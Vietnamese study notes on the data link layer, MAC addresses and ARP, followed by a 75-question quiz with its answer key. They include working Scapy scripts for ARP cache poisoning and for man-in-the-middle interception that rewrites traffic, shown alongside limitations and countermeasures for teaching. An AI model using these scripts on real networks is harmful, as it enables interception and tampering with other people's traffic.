Skip to content

DATA LINK LAYER & ARP ATTACKS¤

Chức năng¤

  • Encapsulate datagram vào frame
  • Add error checking, reliable transfer, flow control
  • Hoạt động giữa 2 physically-connected interfaces (same subnet)

Layer Stack¤

Text Only
Application
Transport
Network (IP datagram)
Data Link (Frame: [Header | Datagram | Trailer])
Physical (Bits)

2. MAC ADDRESS¤

Đặc điểm¤

  • 48-bit address (6 bytes)
  • Ví dụ: 1A-2F-BB-76-09-AD (hexadecimal)
  • Burned in NIC ROM, có thể software settable
  • Globally unique (IEEE quản lý allocation)

MAC vs IP¤

Aspect MAC Address IP Address
Kiểu Physical, flat Logical, hierarchical
Tính di động Portable (move LAN to LAN) Not portable (phụ thuộc subnet)
Tương tự Social Security Number Postal Address
Scope Local (same LAN) Global (Internet-wide)
Length 48 bits 32 bits (IPv4)

Broadcast Address¤

  • FF-FF-FF-FF-FF-FF: Gửi đến tất cả devices trên LAN

3. ETHERNET FRAME¤

Cấu trúc (IEEE 802.3)¤

Text Only
┌──────────┬────────────┬────────────┬──────┬─────┬─────┐
│ Preamble │ Dest MAC   │ Source MAC │ Type │ Data│ FCS │
│  8 bytes │   6 bytes  │   6 bytes  │2bytes│     │4byte│
└──────────┴────────────┴────────────┴──────┴─────┴─────┘

Type field: - 0x0800: IPv4 - 0x0806: ARP - 0x86DD: IPv6

Wireshark Example¤

Text Only
Destination: FF:FF:FF:FF:FF:FF (broadcast)
Source: 00:50:56:A8:1A:D3
Type: 0x0806 (ARP)

4. MAC PRIVACY ISSUE¤

Vấn đề¤

  • MAC address unique → có thể track user
  • WiFi APs ghi nhớ MAC → trace location (malls, shops)

Giải pháp¤

  • MAC randomization: iOS 8+, Android
  • Software-generated random MAC khi probe APs
  • Trade-off: Performance vs Privacy

5. ARP PROTOCOL¤

Mục đích¤

Map IP address → MAC address (trong cùng subnet)

ARP Cache (ARP Table)¤

Text Only
IP Address       MAC Address         TTL
192.168.1.5      1A-2F-BB-76-09-AD   20 min
192.168.1.10     58-23-D7-FA-20-B0   18 min

Commands:

Bash
arp -n          # Show ARP cache
arp -d IP       # Delete entry
arp -a          # Show all entries


6. ARP PROTOCOL WORKFLOW¤

Scenario: A muốn gửi packet cho B (cùng subnet)¤

Step 1: ARP Request (Broadcast)

Text Only
A → Broadcast (FF:FF:FF:FF:FF:FF)

Ethernet Frame:
  Dest MAC: FF:FF:FF:FF:FF:FF
  Src MAC: A's MAC
  Type: 0x0806 (ARP)

ARP Message:
  Sender MAC: A's MAC
  Sender IP: A's IP
  Target MAC: 00:00:00:00:00:00 (unknown)
  Target IP: B's IP

Step 2: ARP Reply (Unicast)

Text Only
B → A (A's MAC)

Ethernet Frame:
  Dest MAC: A's MAC
  Src MAC: B's MAC
  Type: 0x0806

ARP Message:
  Sender MAC: B's MAC
  Sender IP: B's IP
  Target MAC: A's MAC
  Target IP: A's IP

Step 3: A updates cache

Text Only
A's ARP cache:
  B's IP → B's MAC (TTL = 20 min)

Step 4: A sends data

Text Only
A → B
  Dest MAC: B's MAC
  Src MAC: A's MAC
  Type: 0x0800 (IPv4)
  IP: A → B
  Data: ...


7. ROUTING ACROSS SUBNETS¤

Scenario: A (subnet 1) → B (subnet 2) via Router R¤

A's subnet: 111.111.111.0/24 B's subnet: 222.222.222.0/24

Step-by-Step¤

1. A → R (first hop)

Text Only
Frame:
  Dest MAC: R's MAC (interface in A's subnet)
  Src MAC: A's MAC

Datagram:
  Src IP: A's IP (111.111.111.111)
  Dest IP: B's IP (222.222.222.222)

2. R receives & forwards

Text Only
- R extracts datagram
- Routing decision: forward to B's subnet
- R creates new frame:

Frame:
  Dest MAC: B's MAC
  Src MAC: R's MAC (interface in B's subnet)

Datagram: (KHÔNG ĐỔI)
  Src IP: A's IP
  Dest IP: B's IP

3. B receives

Text Only
- B extracts datagram
- Pass to upper layers

Key Point¤

  • MAC addresses: Change at each hop (L2)
  • IP addresses: Remain same end-to-end (L3)

8. ARP CACHE POISONING ATTACK¤

Đặc điểm ARP¤

  • Stateless protocol: Không verify sender
  • Update cache khi nhận:
  • ARP Request
  • ARP Reply
  • ARP Gratuitous

Mục tiêu¤

Poison (làm độc) ARP cache của victim → redirect traffic

3 Loại Spoofed Messages¤

8.1 Spoofed ARP Request¤

Python
# Scapy code
E = Ether(dst="00:50:56:a8:0e:77")  # Victim MAC (unicast)
A = ARP(op=1,                        # Request
        psrc="10.102.20.178",        # Pretend IP (target)
        hwsrc="aa:bb:cc:dd:ee:ff",   # FAKE MAC
        pdst="10.102.20.177")        # Victim IP

sendp(E/A)

Kết quả: Victim's cache

Text Only
10.102.20.178 → aa:bb:cc:dd:ee:ff (FAKE!)

8.2 Spoofed ARP Reply¤

Python
E = Ether(dst="00:50:56:a8:0e:77")  # Victim MAC
A = ARP(op=2,                        # Reply
        psrc="10.102.20.178",        # Pretend IP
        hwsrc="aa:bb:cc:dd:ee:ff",   # FAKE MAC
        pdst="10.102.20.177",        # Victim IP
        hwdst="00:50:56:a8:0e:77")   # Victim MAC

sendp(E/A)

Note: Reply/Gratuitous chỉ work nếu cache ĐÃ CÓ entry

Trick: Trigger victim gửi ARP request

Python
# Send spoofed ICMP echo request
# Victim reply → cần biết attacker MAC → send ARP request
# → Attacker can poison với reply

8.3 Spoofed ARP Gratuitous¤

Python
# Gratuitous: psrc = pdst (announce own IP)
E = Ether(dst="ff:ff:ff:ff:ff:ff")  # Broadcast
A = ARP(op=2,                        # Reply type
        psrc="10.102.20.178",        # Pretend IP
        hwsrc="aa:bb:cc:dd:ee:ff",   # FAKE MAC
        pdst="10.102.20.178")        # Same as psrc!

sendp(E/A)

9. MAN-IN-THE-MIDDLE (MITM) ATTACK¤

Mục tiêu¤

Intercept & modify traffic giữa Alice và Bob

Điều kiện¤

  • Attacker (M) phải cùng network với A và B
  • ARP poisoning CHỈ hoạt động local (same LAN)

Attack Steps¤

Step 1: Poison cả 2 victims

Text Only
A's cache:                B's cache:
  B's IP → M's MAC          A's IP → M's MAC
  (thay vì B's MAC)         (thay vì A's MAC)

Step 2: A gửi packet cho B

Text Only
IP header: A's IP → B's IP (KHÔNG ĐỔI)
MAC: A's MAC → M's MAC (vì A's cache bị poison)

Step 3: Packet arrives at M

Text Only
M checks: Dest IP = B's IP (not M's IP)

Scenario 1: M configured as ROUTER
  → IP forwarding enabled
  → Forward packet to B

Scenario 2: M configured as HOST
  → IP forwarding disabled
  → DROP packet (vì dest IP ≠ M's IP)

Solution: Raw Socket + Manual Forwarding¤

Disable IP forwarding:

Bash
sudo sysctl net.ipv4.ip_forward=0

M's code (Scapy):

Python
def spoof_pkt(pkt):
    # Intercept packet
    if pkt[IP].src == A_IP and pkt[IP].dst == B_IP:
        # Modify packet
        newpkt = IP(pkt[IP])
        del(newpkt.chksum)  # Scapy recalculate

        # Example: Replace content
        if Raw in newpkt:
            data = newpkt[Raw].load
            newdata = data.replace(b'kevin', b'AAAAA')
            newpkt[Raw].load = newdata

        # Forward to B
        send(newpkt)

    # Similar for B → A direction

# Sniff và process
sniff(filter='...', prn=spoof_pkt)

MITM trên Telnet¤

Đặc điểm Telnet: - Mỗi keystroke = 1 TCP packet - Server echo back

Attack: Replace mỗi character với 'A'

Python
if TCP in pkt and Raw in pkt:
    payload = pkt[Raw].load
    newpayload = re.sub(rb'[a-zA-Z]', b'A', payload)
    newpkt[Raw].load = newpayload


10. ARP POISONING LIMITATIONS¤

Critical Limitation¤

ARP chỉ hoạt động trong cùng LAN (Layer 2)

Câu hỏi kiểm tra hiểu biết¤

Scenario (Fiction):

"Russia hackers launched ARP cache poisoning attacks from Russia against White House network."

Question: Có thể không?

Answer: ❌ KHÔNG THỂ - ARP packets KHÔNG route qua Internet - Chỉ hoạt động local network - Attacker phải physically inside target network

Ý nghĩa¤

  • ARP poisoning không phải remote attack
  • Cần physical/VPN access vào target LAN
  • Không đe dọa từ xa như các attacks khác

11. COUNTERMEASURES¤

11.1 Encryption (BEST)¤

Nguyên lý: - Encrypt traffic (HTTPS, SSH, VPN) - MITM có thể intercept nhưng không đọc/sửa được - Chỉ có thể DoS (drop packets)

Ví dụ:

Text Only
A → M → B

Without encryption:
  M sees: "username=alice&password=123"
  M can modify to: "username=alice&password=hacked"

With encryption:
  M sees: "a8f3b2c9d1e5..."
  M cannot decrypt or modify meaningfully

11.2 Static ARP Entries¤

Bash
# Add static entry (không bị poison)
sudo arp -s 192.168.1.5 1A:2F:BB:76:09:AD

# Problem: Không scale, khó maintain

11.3 ARP Monitoring Tools¤

  • arpwatch: Monitor ARP cache changes
  • XArp: Alert on suspicious ARP activity
  • Snort: IDS rules cho ARP poisoning

11.4 Port Security (Switch)¤

Text Only
# Cisco switch config
switchport port-security
switchport port-security mac-address [MAC]
switchport port-security violation shutdown
- Bind MAC address to switch port - Prevent MAC spoofing

11.5 Dynamic ARP Inspection (DAI)¤

  • Switch verify ARP packets against DHCP snooping database
  • Drop invalid ARP responses

12. SCAPY FIELDS REFERENCE¤

Ether() Fields¤

Python
Ether(
    dst="FF:FF:FF:FF:FF:FF",  # Destination MAC
    src="00:11:22:33:44:55",  # Source MAC (auto if omit)
    type=0x0806               # EtherType (auto if omit)
)

ARP() Fields¤

Python
ARP(
    op=1,           # Operation: 1=request, 2=reply
    hwsrc="...",    # Sender MAC
    psrc="...",     # Sender IP
    hwdst="...",    # Target MAC (00:00:00:00:00:00 for request)
    pdst="..."      # Target IP
)

Sending¤

Python
sendp(pkt)           # Send at Layer 2 (include Ether)
send(pkt)            # Send at Layer 3 (auto add Ether)
srp(pkt, timeout=2)  # Send & receive Layer 2

13. PACKET FLOW IN OS¤

Normal Flow¤

Text Only
Application → Socket → TCP/UDP → IP → Interface → Wire

Sniffer với Raw Socket¤

Text Only
       ┌─────────────┐
       │ Application │
       └──────┬──────┘
       ┌─────────────┐
       │  Raw Socket │ ← Sniffer opens this
       └──────┬──────┘
    ┌─────────┴─────────┐
    ↓                   ↓
Normal stack        Copy to sniffer
(IP, TCP, App)      (before drop/process)

Python Raw Socket:

Python
import socket

# Create raw socket (need root)
s = socket.socket(socket.AF_PACKET, 
                  socket.SOCK_RAW, 
                  socket.ntohs(0x0003))  # ETH_P_ALL

# Receive frames
while True:
    frame = s.recvfrom(65535)
    # Process frame


GHI NHỚ NHANH¤

MAC vs IP¤

MAC: Physical, flat, portable, 48-bit, local scope IP: Logical, hierarchical, not portable, 32-bit, global

ARP Workflow¤

Request (broadcast) → Reply (unicast) → Cache update

Frame vs Datagram¤

Frame: MAC header + IP datagram (L2) Datagram: IP header + TCP/UDP segment (L3)

Routing Hop¤

MAC thay đổi mỗi hop, IP không đổi end-to-end

ARP Poisoning¤

Stateless → Update cache bằng Request/Reply/Gratuitous Spoof MAC để redirect traffic

MITM Requirements¤

  1. Same LAN với victims
  2. Poison cả 2 victims' caches
  3. Disable IP forwarding + manual forward với raw socket

ARP Limitation¤

CHỈ local LAN, KHÔNG remote attack

Best Countermeasure¤

ENCRYPTION (HTTPS, SSH, VPN)

Commands¤

Bash
arp -n               # Show cache
arp -d IP            # Delete entry
arp -s IP MAC        # Static entry
ip neigh show        # Modern Linux
tcpdump arp          # Capture ARP

Scapy Template¤

Python
# ARP Request
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/
      ARP(op=1, pdst="192.168.1.5"))

# ARP Reply (poison)
sendp(Ether(dst=victim_mac)/
      ARP(op=2, psrc=target_ip, 
          hwsrc=fake_mac, pdst=victim_ip))

DATA LINK LAYER & ARP ATTACKS - CÂU HỎI TRẮC NGHIỆM¤

Câu 1: Data Link layer có chức năng gì?

A. Routing packets

B. Encapsulate datagram vào frame, add error checking

C. Chỉ mã hóa data

D. Chỉ forward packets

Đáp án: B


Câu 2: Data Link layer hoạt động giữa các devices như thế nào?

A. Giữa bất kỳ 2 devices nào trên Internet

B. Giữa 2 physically-connected interfaces (same subnet)

C. Chỉ trong cùng tòa nhà

D. Chỉ wireless

Đáp án: B


Câu 3: Frame là gì?

A. IP packet

B. Data Link layer encapsulation: [MAC header | Datagram | Trailer]

C. Application data

D. TCP segment

Đáp án: B


PHẦN 2: MAC ADDRESS¤

Câu 4: MAC address có độ dài bao nhiêu?

A. 32 bits

B. 48 bits (6 bytes)

C. 64 bits

D. 128 bits

Đáp án: B


Câu 5: MAC address được viết ở format nào?

A. Decimal

B. Binary

C. Hexadecimal (vd: 1A-2F-BB-76-09-AD)

D. Octal

Đáp án: C


Câu 6: MAC address được quản lý bởi ai?

A. IANA

B. IEEE

C. ICANN

D. ISO

Đáp án: B


Câu 7: MAC address tương tự gì?

A. Postal address

B. Social Security Number (unique identifier)

C. Phone number

D. Email address

Đáp án: B


Câu 8: IP address tương tự gì?

A. Social Security Number

B. Postal address (thay đổi theo location)

C. MAC address

D. Hardware ID

Đáp án: B


Câu 9: MAC address có portable (di động) không?

A. Không, phụ thuộc subnet

B. Có, có thể move interface từ LAN này sang LAN khác

C. Chỉ portable trong cùng building

D. Không bao giờ

Đáp án: B


Câu 10: IP address có portable không?

A. Có, luôn luôn

B. Không, phụ thuộc subnet mà node attach

C. Chỉ IPv6

D. Chỉ private IP

Đáp án: B


Câu 11: Broadcast MAC address là gì?

A. 00:00:00:00:00:00

B. FF:FF:FF:FF:FF:FF

C. 11:11:11:11:11:11

D. AA:AA:AA:AA:AA:AA

Đáp án: B


Câu 12: MAC address được lưu ở đâu?

A. Chỉ trong OS

B. Burned in NIC ROM, có thể software settable

C. Chỉ trong RAM

D. Trên cloud

Đáp án: B


PHẦN 3: ETHERNET FRAME¤

Câu 13: Ethernet frame gồm những phần chính nào?

A. Chỉ data

B. Preamble, Dest MAC, Src MAC, Type, Data, FCS

C. Chỉ IP header

D. Chỉ MAC addresses

Đáp án: B


Câu 14: Type field = 0x0800 có nghĩa gì?

A. ARP

B. IPv4

C. IPv6

D. ICMP

Đáp án: B


Câu 15: Type field = 0x0806 là protocol gì?

A. IPv4

B. ARP

C. ICMP

D. TCP

Đáp án: B


Câu 16: Type field = 0x86DD là gì?

A. IPv4

B. ARP

C. IPv6

D. UDP

Đáp án: C


Câu 17: FCS trong Ethernet frame dùng để làm gì?

A. Forward packets

B. Frame Check Sequence - error detection

C. Flow control

D. Fragmentation

Đáp án: B


PHẦN 4: MAC PRIVACY¤

Câu 18: Vấn đề privacy với MAC address là gì?

A. Không có vấn đề

B. MAC unique → có thể track user location (malls, APs)

C. Chỉ vấn đề với IP

D. Không quan trọng

Đáp án: B


Câu 19: Giải pháp cho MAC privacy issue?

A. Không có giải pháp

B. MAC randomization - software-generated random MAC

C. Tắt WiFi

D. Dùng VPN

Đáp án: B


Câu 20: Trade-off của MAC randomization?

A. Cost vs Security

B. Performance vs Privacy

C. Speed vs Reliability

D. Không có trade-off

Đáp án: B


PHẦN 5: ARP PROTOCOL¤

Câu 21: ARP viết tắt của gì?

A. Address Routing Protocol

B. Address Resolution Protocol

C. Automatic Routing Protocol

D. Advanced Resolution Protocol

Đáp án: B


Câu 22: Mục đích của ARP?

A. Route packets giữa networks

B. Map IP address → MAC address (trong cùng subnet)

C. Encrypt data

D. DNS lookup

Đáp án: B


Câu 23: ARP hoạt động ở layer nào?

A. Application layer

B. Transport layer

C. Between Network và Data Link layers

D. Physical layer

Đáp án: C


Câu 24: ARP cache/table chứa gì?

A. Chỉ IP addresses

B. IP → MAC mappings với TTL

C. Chỉ MAC addresses

D. DNS records

Đáp án: B


Câu 25: TTL trong ARP cache thường là bao lâu?

A. 5 minutes

B. 20 minutes (typical)

C. 1 hour

D. Permanent

Đáp án: B


Câu 26: Command show ARP cache trên Linux?

A. ifconfig

B. arp -n

C. route -n

D. netstat -r

Đáp án: B


Câu 27: Command delete ARP entry?

A. arp -a IP

B. arp -d IP

C. arp -s IP

D. arp -f IP

Đáp án: B


PHẦN 6: ARP WORKFLOW¤

Câu 28: Khi A muốn gửi packet cho B (cùng subnet, chưa có cache), A gửi gì TRƯỚC?

A. Direct packet to B

B. ARP Request (broadcast) hỏi MAC của B

C. DNS query

D. ICMP ping

Đáp án: B


Câu 29: ARP Request được gửi đến địa chỉ nào?

A. Unicast đến B

B. Broadcast FF:FF:FF:FF:FF:FF

C. Multicast

D. Anycast

Đáp án: B


Câu 30: Ai reply cho ARP Request?

A. Tất cả devices

B. Chỉ device có IP được hỏi (B)

C. Router

D. DNS server

Đáp án: B


Câu 31: ARP Reply được gửi kiểu gì?

A. Broadcast

B. Unicast đến requester

C. Multicast

D. Anycast

Đáp án: B


Câu 32: Sau khi nhận ARP Reply, A làm gì?

A. Gửi packet ngay

B. Update ARP cache, rồi gửi packet

C. Hỏi lại

D. Không làm gì

Đáp án: B


Câu 33: ARP Request chứa Target MAC là gì?

A. FF:FF:FF:FF:FF:FF

B. 00:00:00:00:00:00 (unknown)

C. Requester's MAC

D. Router's MAC

Đáp án: B


PHẦN 7: ROUTING ACROSS SUBNETS¤

Câu 34: A (subnet 1) gửi packet cho B (subnet 2), frame đầu tiên gửi đến ai?

A. Trực tiếp đến B

B. Đến first-hop router R

C. Đến DNS server

D. Broadcast

Đáp án: B


Câu 35: Trong frame A → R, destination MAC là gì?

A. B's MAC

B. R's MAC (interface trong A's subnet)

C. Broadcast

D. A's MAC

Đáp án: B


Câu 36: Trong datagram bên trong frame A → R, destination IP là gì?

A. R's IP

B. A's IP

C. B's IP (end-to-end, không đổi)

D. DNS server IP

Đáp án: C


Câu 37: Khi routing qua nhiều hops, điều gì THAY ĐỔI?

A. Source và Destination IPs

B. MAC addresses (mỗi hop khác nhau)

C. TCP port numbers

D. Application data

Đáp án: B


Câu 38: Khi routing qua nhiều hops, điều gì KHÔNG ĐỔI?

A. MAC addresses

B. TTL value

C. Source và Destination IPs (end-to-end)

D. Frame headers

Đáp án: C


Câu 39: Router R forward packet sang subnet khác, R tạo frame mới với?

A. Dest MAC = B's MAC, Src MAC = R's MAC (interface B's subnet)

B. Giữ nguyên frame cũ

C. Dest MAC = A's MAC

D. Random MAC

Đáp án: A


PHẦN 8: ARP CACHE POISONING¤

Câu 40: ARP là loại protocol gì?

A. Stateful protocol

B. Stateless protocol (không verify sender)

C. Connection-oriented

D. Encrypted protocol

Đáp án: B


Câu 41: ARP cache được update khi nhận gì?

A. Chỉ ARP Reply

B. ARP Request, Reply, hoặc Gratuitous

C. Chỉ ARP Request

D. Không bao giờ update

Đáp án: B


Câu 42: Mục tiêu của ARP Cache Poisoning?

A. Delete cache

B. Poison cache → redirect traffic đến attacker

C. Tăng tốc độ

D. Backup cache

Đáp án: B


Câu 43: ARP Gratuitous là gì?

A. Request bình thường

B. ARP message với psrc = pdst (announce own IP)

C. Reply bình thường

D. Error message

Đáp án: B


Câu 44: Spoofed ARP Request gửi đến địa chỉ nào?

A. Broadcast (hoặc unicast đến victim)

B. Chỉ router

C. DNS server

D. Gateway

Đáp án: A


Câu 45: Trong spoofed ARP, hwsrc (sender MAC) là gì?

A. Real attacker MAC

B. FAKE MAC (attacker muốn victim nghĩ)

C. Victim MAC

D. Router MAC

Đáp án: B


Câu 46: ARP Reply/Gratuitous chỉ work khi nào?

A. Luôn luôn work

B. Khi cache ĐÃ CÓ entry của target IP

C. Chỉ ban đêm

D. Không bao giờ work

Đáp án: B


Câu 47: Trick để làm victim có cache entry?

A. Gửi DNS query

B. Trigger victim gửi ARP request (vd: spoofed ICMP echo)

C. Reboot victim

D. Không có cách

Đáp án: B


Câu 48: Scapy ARP field "op" có giá trị nào?

A. 1 = Request, 2 = Reply

B. 0 = Request, 1 = Reply

C. True/False

D. Yes/No

Đáp án: A


PHẦN 9: MAN-IN-THE-MIDDLE (MITM)¤

Câu 49: MITM attack với ARP cần điều kiện gì?

A. Remote access

B. Attacker CÙNG NETWORK (same LAN) với victims

C. Root access on victims

D. DNS server access

Đáp án: B


Câu 50: MITM cần poison cache của ai?

A. Chỉ Alice

B. Chỉ Bob

C. Cả Alice VÀ Bob

D. Chỉ router

Đáp án: C


Câu 51: Sau khi poison, A's cache có gì?

A. B's IP → B's MAC

B. B's IP → M's MAC (attacker MAC)

C. M's IP → M's MAC

D. Không thay đổi

Đáp án: B


Câu 52: Khi A gửi packet cho B (sau poison), MAC destination là gì?

A. B's MAC

B. M's MAC (vì A's cache bị poison)

C. Router MAC

D. Broadcast

Đáp án: B


Câu 53: Packet đến M, dest IP = B's IP (not M's), M configured as HOST sẽ làm gì?

A. Forward to B

B. DROP packet (vì dest IP ≠ M's IP)

C. Reply error

D. Broadcast

Đáp án: B


Câu 54: Để M forward manually, cần làm gì?

A. Enable IP forwarding

B. Disable IP forwarding + dùng raw socket + manual forward

C. Chỉ cần raw socket

D. Không cần làm gì

Đáp án: B


Câu 55: Command disable IP forwarding?

A. sysctl net.ipv4.ip_forward=1

B. sysctl net.ipv4.ip_forward=0

C. iptables -F

D. route add

Đáp án: B


Câu 56: Raw socket cho phép gì?

A. Chỉ send packets

B. Sniff packets TRƯỚC KHI kernel process/drop

C. Chỉ receive packets

D. Không làm gì

Đáp án: B


Câu 57: Trong MITM code, tại sao phải delete checksum trước khi modify?

A. Không cần delete

B. Để Scapy tự recalculate checksum mới sau khi modify

C. Để tăng tốc độ

D. Để encrypt

Đáp án: B


Câu 58: Telnet khác netcat như thế nào về packet sending?

A. Giống nhau

B. Telnet: mỗi keystroke = 1 packet, netcat: cả line = 1 packet

C. Telnet nhanh hơn

D. netcat an toàn hơn

Đáp án: B


PHẦN 10: ARP LIMITATIONS¤

Câu 59: ARP hoạt động ở scope nào?

A. Global (Internet-wide)

B. Chỉ local LAN (Layer 2, same subnet)

C. Country-wide

D. ISP-wide

Đáp án: B


Câu 60: ARP packets có route qua Internet không?

A. Có

B. KHÔNG - chỉ local LAN

C. Chỉ qua router

D. Tùy cấu hình

Đáp án: B


Câu 61: Có thể launch ARP poisoning từ xa (remote) không?

A. Có, dễ dàng

B. KHÔNG - phải inside target network

C. Chỉ với VPN

D. Chỉ với root access

Đáp án: B


Câu 62: "Russia hackers launch ARP attack from Russia against White House" - có thể không?

A. Có thể

B. KHÔNG THỂ - ARP chỉ local, không remote attack

C. Có thể với VPN

D. Có thể với proxy

Đáp án: B


Câu 63: Ý nghĩa security của ARP limitation?

A. ARP rất nguy hiểm

B. ARP poisoning không phải remote threat, cần physical/VPN access

C. Không quan trọng

D. Chỉ ảnh hưởng WiFi

Đáp án: B


PHẦN 11: COUNTERMEASURES¤

Câu 64: Countermeasure TỐT NHẤT chống MITM?

A. Firewall

B. Encryption (HTTPS, SSH, VPN)

C. Antivirus

D. Strong password

Đáp án: B


Câu 65: Khi traffic được encrypt, MITM attacker có thể làm gì?

A. Đọc và modify được

B. Chỉ có thể DoS (drop packets), không đọc/modify

C. Bypass encryption

D. Decrypt dễ dàng

Đáp án: B


Câu 66: Static ARP entries là gì?

A. Dynamic entries

B. Manually configured, không bị poison (nhưng khó maintain)

C. Automatic entries

D. Temporary entries

Đáp án: B


Câu 67: Command add static ARP entry?

A. arp -d IP MAC

B. arp -s IP MAC

C. arp -n IP MAC

D. arp -a IP MAC

Đáp án: B


Câu 68: arpwatch tool làm gì?

A. Generate ARP traffic

B. Monitor ARP cache changes, alert on suspicious

C. Block ARP

D. Encrypt ARP

Đáp án: B


Câu 69: Dynamic ARP Inspection (DAI) hoạt động như thế nào?

A. Disable ARP

B. Switch verify ARP packets, drop invalid responses

C. Encrypt ARP

D. Speed up ARP

Đáp án: B


Câu 70: Port Security trên switch làm gì?

A. Block all ports

B. Bind MAC address to switch port, prevent spoofing

C. Open all ports

D. Encrypt traffic

Đáp án: B


PHẦN 12: SCAPY¤

Câu 71: Scapy sendp() khác send() như thế nào?

A. Giống nhau

B. sendp() = Layer 2 (include Ether), send() = Layer 3 (auto Ether)

C. sendp() nhanh hơn

D. send() an toàn hơn

Đáp án: B


Câu 72: Scapy srp() dùng để làm gì?

A. Chỉ send

B. Send & receive packets ở Layer 2

C. Chỉ receive

D. Delete packets

Đáp án: B


Câu 73: Khi stack Ether và ARP trong Scapy?

A. Ether + ARP

B. Ether / ARP

C. Ether, ARP

D. Ether & ARP

Đáp án: B - Operator / để stack layers


Câu 74: Scapy ARP field psrc là gì?

A. Packet source

B. Protocol source = Sender IP

C. Port source

D. Physical source

Đáp án: B


Câu 75: Scapy ARP field hwsrc là gì?

A. Hardware source = Sender MAC

B. Host source

C. HTTP source

D. Hash source

Đáp án: A


GHI NHỚ QUAN TRỌNG¤

MAC vs IP¤

Feature MAC IP
Type Physical Logical
Length 48-bit 32-bit
Portable
Scope Local (L2) Global (L3)
Analogy SSN Postal addr

ARP Workflow¤

Text Only
1. A → Broadcast: ARP Request (who has B's IP?)
2. B → A: ARP Reply (B's MAC)
3. A updates cache: B's IP → B's MAC
4. A → B: Data frame

Routing Hop¤

  • MAC: Thay đổi MỖI HOP
  • IP: KHÔNG ĐỔI end-to-end

ARP Poisoning¤

  • Stateless → Update cache dễ dàng
  • 3 types: Request, Reply, Gratuitous
  • Spoof hwsrc để redirect

MITM Requirements¤

  1. Same LAN với victims
  2. Poison CẢ HAI caches
  3. Raw socket + manual forward

ARP Limitation¤

CHỈ LOCAL LAN, KHÔNG REMOTE

Best Countermeasure¤

ENCRYPTION (HTTPS/SSH/VPN)

Commands¤

Bash
arp -n           # Show cache
arp -d IP        # Delete
arp -s IP MAC    # Static entry
ip neigh show    # Modern Linux
tcpdump arp      # Capture ARP

Scapy¤

Python
# ARP Request
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/
      ARP(op=1, pdst="192.168.1.5"))

# Poison (Reply)
sendp(Ether(dst=victim_mac)/
      ARP(op=2, psrc=target_ip, 
          hwsrc=fake_mac, pdst=victim_ip))

# Gratuitous
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/
      ARP(op=2, psrc=own_ip, pdst=own_ip))